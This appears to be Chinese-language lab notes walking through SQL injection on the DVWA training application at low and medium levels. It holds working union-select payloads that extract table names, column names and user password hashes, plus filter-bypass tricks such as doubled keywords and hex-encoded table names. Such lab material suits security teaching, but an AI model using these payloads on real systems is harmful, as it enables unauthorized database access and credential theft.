SQL注入步骤:
寻找注入点
判断注入点类型,是数字型还是字符型
如果是字符型则根据真假页面或者报错语句判断闭合方式
判断回显列数 group by/order by
判断回显位 union select 并且将前面的语句判定为假值
获取数据库名
获取数据库的表名
获取数据库中表的字段名
获取数据库中表的字段值
DVWA SQL Injection——low
这里输入1和输入1 and 1=2输出结果一样,证明不是数字型注入,基本可以判断为字符型注入。
如何判断数字型注入和字符型注入
SQL注入格式:http://xxx.xxx.xxx/abc.php?id=YY
§ 字符型SQL注入
• id=YY’
– SQL语句:select * from 表名 where 字段= 'YY'', abc.asp运行异常;
• id=YY’ and ‘1’=‘1,abc.asp运行正常,与id=YY页面相同
– SQL语句:select * from 表名 where 字段= 'YY' and '1' = '1'
• id=YY’ and ‘1’=‘2 与 id=YY 页面不同,出现异常
– SQL语句:select * from 表名 where 字段= 'YY' and '1' = ‘2’
• 或 id=YY and 1 like 1/ and 1 like 2
• 以上3条都满足,则abc.php存在SQL注入漏洞
§ 数字型SQL注入
• id=YY’ 页面异常
• id=YY and 1=1 与 id=YY 页面相同
• id=YY and 1=2 与 id=YY 页面不同,出现异常
• 以上3条都满足,则abc.php存在SQL注入漏洞
输入1' or 1=1-- ,能得到正确的返回结果,说明为字符型注入。
常用注释符:-- ,--+, #, %23, %00, /*等
判断select字段数
order by的作用是对字段进行排序,如order by 5,根据第五个字段 进行排序,如果一共有4个字段,输入order by 5系统就会报错不 知道怎么排序,所以可以用order by来判断有多少个字段。
说明存在两列。
判断可显示的注入点
尝试获取数据库信息
查看当前数据库版本
查看当前数据库名
获取DVWA数据库中的表名
在输入框中输入
1' union select group_concat(table_name), 2 from information_schema.tables where
table_schema='dvwa'#
获取字段名
在输入框中输入1’ union select group_concat(column_name),2
from information_schema.columns where table_schema='dvwa' and
table_name='users'#,点击“Submit”
获取用户账户和密码
在输入框中输入1' union select group_concat(user,':',password),2 from users#,点击“Submit
使用md5解密工具可以得到明文
联合查询注入bypass
过滤了union等关键字
如果用的是str_ireplace(), 可双写绕过uunionnion
过滤了or and等关键字
and=&&
or=||
过滤了空格
利用+号绕过
DVWA SQL Injection——medium
从页面可以看出无法进行输入,只能使用抓包软件试试了
说明存在数字型注入
猜测字段
枚举所有数据库
获取DVWA数据库中的表名
在输入框中输入1 union select
group_concat(table_name), 2 from information_schema.tables where
table_schema='dvwa'#
将ASCII码转成16进制格式转换
获取字段名
同样将users转化为为16进制实现绕过
在输入框中输入1 union select
group_concat(column_name),2 from information_schema.columns where
table_name=0x7573657273#
获取用户账户和密码
在输入框中输入1 union select
group_concat(user,0x35,password),2 from users